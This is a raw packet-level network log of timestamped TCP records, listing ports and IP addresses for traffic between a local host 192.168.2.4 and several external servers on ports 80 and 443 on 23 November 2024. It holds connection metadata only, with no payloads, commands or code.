Nov 23, 2024 20:23:34.614384890 CET	443	49825	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:34.614562988 CET	49825	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:34.622627020 CET	443	49825	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:34.631206036 CET	443	49825	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:34.631248951 CET	49825	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:34.631258011 CET	443	49825	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:34.723927021 CET	49825	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:34.829533100 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:34.829586983 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:34.831552029 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:34.831625938 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:34.831657887 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:34.831696987 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:34.840110064 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:34.840214968 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:34.840265989 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:34.848690033 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:34.848743916 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:34.848773956 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:34.848819971 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:34.857223988 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:34.857330084 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:34.857384920 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:34.865782976 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:34.865945101 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:34.865998030 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:34.874397039 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:34.874445915 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:34.874526978 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:34.874572992 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:34.882910013 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:34.882999897 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:34.883043051 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:34.891443968 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:34.891486883 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:34.891556025 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:34.891649008 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:34.988449097 CET	443	49828	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:34.999855042 CET	49828	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:34.999885082 CET	443	49828	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:35.000441074 CET	49828	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:35.000444889 CET	443	49828	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:35.002803087 CET	443	49829	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:35.003139973 CET	49829	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:35.003158092 CET	443	49829	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:35.003556967 CET	49829	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:35.003563881 CET	443	49829	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:35.006798029 CET	443	49825	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:35.071475029 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:35.071911097 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:35.118563890 CET	49825	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:35.129834890 CET	443	49830	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:35.196152925 CET	443	49825	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:35.198156118 CET	443	49825	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:35.198196888 CET	443	49825	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:35.198278904 CET	49825	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:35.198288918 CET	443	49825	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:35.198328972 CET	443	49825	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:35.198371887 CET	49825	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:35.227942944 CET	49830	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:35.262669086 CET	49830	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:35.262681007 CET	443	49830	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:35.263511896 CET	49830	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:35.263515949 CET	443	49830	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:35.302609921 CET	49825	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:35.302619934 CET	443	49825	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:35.302634954 CET	49825	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:35.302640915 CET	443	49825	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:35.321602106 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:35.322873116 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:35.433943033 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:35.434259892 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:35.435919046 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:35.435975075 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:35.436038017 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:35.436084032 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:35.444566011 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:35.444622993 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:35.444624901 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:35.444668055 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:35.453022003 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:35.453126907 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:35.453175068 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:35.461632967 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:35.461671114 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:35.461683035 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:35.461709023 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:35.470156908 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:35.470211029 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:35.470237017 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:35.470278025 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:35.478662014 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:35.478707075 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:35.478777885 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:35.478816986 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:35.483560085 CET	443	49831	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:35.483995914 CET	49831	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:35.484006882 CET	443	49831	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:35.484483957 CET	49831	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:35.484491110 CET	443	49831	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:35.487229109 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:35.487426043 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:35.487509966 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:35.535403967 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:35.535526037 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:35.535604000 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:35.535706043 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:35.535718918 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:35.535732985 CET	49826	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:35.535737038 CET	443	49826	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:35.539026976 CET	49838	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:35.539068937 CET	443	49838	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:35.539577961 CET	49838	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:35.539782047 CET	49838	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:35.539793015 CET	443	49838	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:35.560960054 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:35.560976982 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:35.561012983 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:35.561023951 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:35.787328005 CET	49839	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:35.787354946 CET	443	49839	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:35.788222075 CET	49839	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:35.788544893 CET	49839	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:35.788563967 CET	443	49839	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:35.802350998 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:35.802417040 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:35.802463055 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:35.802525043 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:35.910360098 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:35.910398960 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:35.910422087 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:35.910442114 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:35.914576054 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:35.914633036 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:35.914673090 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:35.914834976 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:35.923190117 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:35.923264980 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:35.923274040 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:35.923388958 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:35.931734085 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:35.931833982 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:35.931842089 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:35.931875944 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:35.940299034 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:35.940371990 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:35.940517902 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:35.940607071 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:35.948863983 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:35.949001074 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:35.957391024 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:35.957525015 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:35.959120989 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:35.965965986 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:35.966084003 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:35.968264103 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.039673090 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.040342093 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.122273922 CET	443	49828	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:36.122445107 CET	443	49828	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:36.126744032 CET	443	49829	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:36.126806021 CET	443	49829	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:36.132297039 CET	49829	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:36.132298946 CET	49828	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:36.137156963 CET	49828	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:36.137175083 CET	443	49828	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:36.137192965 CET	49828	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:36.137197971 CET	443	49828	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:36.138417006 CET	49829	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:36.138431072 CET	443	49829	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:36.138443947 CET	49829	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:36.138449907 CET	443	49829	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:36.157319069 CET	49840	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:36.157335043 CET	443	49840	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:36.158576965 CET	49841	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:36.158618927 CET	443	49841	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:36.159302950 CET	49840	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:36.159303904 CET	49841	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:36.159529924 CET	49840	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:36.159531116 CET	49841	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:36.159545898 CET	443	49840	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:36.159547091 CET	443	49841	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:36.297230959 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.297266006 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.298209906 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.301557064 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.301656961 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.310097933 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.310220003 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.318662882 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.318830013 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.331640959 CET	443	49830	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:36.333125114 CET	443	49830	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:36.335787058 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.336261034 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.336266994 CET	49830	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:36.341346025 CET	49830	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:36.341368914 CET	443	49830	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:36.341379881 CET	49830	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:36.341386080 CET	443	49830	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:36.345098019 CET	49842	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:36.345134974 CET	443	49842	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:36.345232010 CET	49842	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:36.345808983 CET	49842	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:36.345824957 CET	443	49842	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:36.417109966 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.417166948 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.417171955 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.417443037 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.421334982 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.421407938 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.427450895 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.429744959 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.429852962 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.430718899 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.438328028 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.438431025 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.446886063 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.446988106 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.455414057 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.455517054 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.458350897 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.458508015 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.463968992 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.464087963 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.465017080 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.472568989 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.472661972 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.478148937 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.478204012 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.481164932 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.481246948 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.482681036 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.489670992 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.489845991 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.491559029 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.498239994 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.498336077 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.498512983 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.506782055 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.506892920 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.506944895 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.515326023 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.515386105 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.515451908 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.515500069 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.523881912 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.524008989 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.524276018 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.536796093 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.536942959 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.538938999 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.542010069 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.547713041 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.547768116 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.551804066 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.551944971 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.566056013 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.579443932 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.579569101 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.582779884 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.582878113 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.586277962 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.589569092 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.589629889 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.589682102 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.589708090 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.589874029 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.596123934 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.596251011 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.599565029 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.602386951 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.602518082 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.604702950 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.608285904 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.608428001 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.608433008 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.608577013 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.614089012 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.614213943 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.619797945 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.619874954 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.620309114 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.622780085 CET	49843	443	192.168.2.4	35.190.72.216
Nov 23, 2024 20:23:36.622833967 CET	443	49843	35.190.72.216	192.168.2.4
Nov 23, 2024 20:23:36.623079062 CET	49843	443	192.168.2.4	35.190.72.216
Nov 23, 2024 20:23:36.625508070 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.625617027 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.627573967 CET	49843	443	192.168.2.4	35.190.72.216
Nov 23, 2024 20:23:36.627590895 CET	443	49843	35.190.72.216	192.168.2.4
Nov 23, 2024 20:23:36.629523993 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.631203890 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.631258965 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.631448030 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.636859894 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.636990070 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.639677048 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.642600060 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.642705917 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.648119926 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.648215055 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.653368950 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.653517962 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.655297041 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.658643961 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.658725023 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.663795948 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.663916111 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.665771961 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.668919086 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.668965101 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.669015884 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.669058084 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.672224998 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.672271967 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.672318935 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.675050974 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.675142050 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.677968025 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.678072929 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.680942059 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.681076050 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.683983088 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.684127092 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.686558008 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.686908007 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.687030077 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.687108994 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.687166929 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.689992905 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.690115929 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.693016052 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.693207026 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.696183920 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.696230888 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.698075056 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.699038029 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.699140072 CET	80	49827	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:36.699176073 CET	49827	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:36.699240923 CET	49827	80	192.168.2.4	185.215.113.16
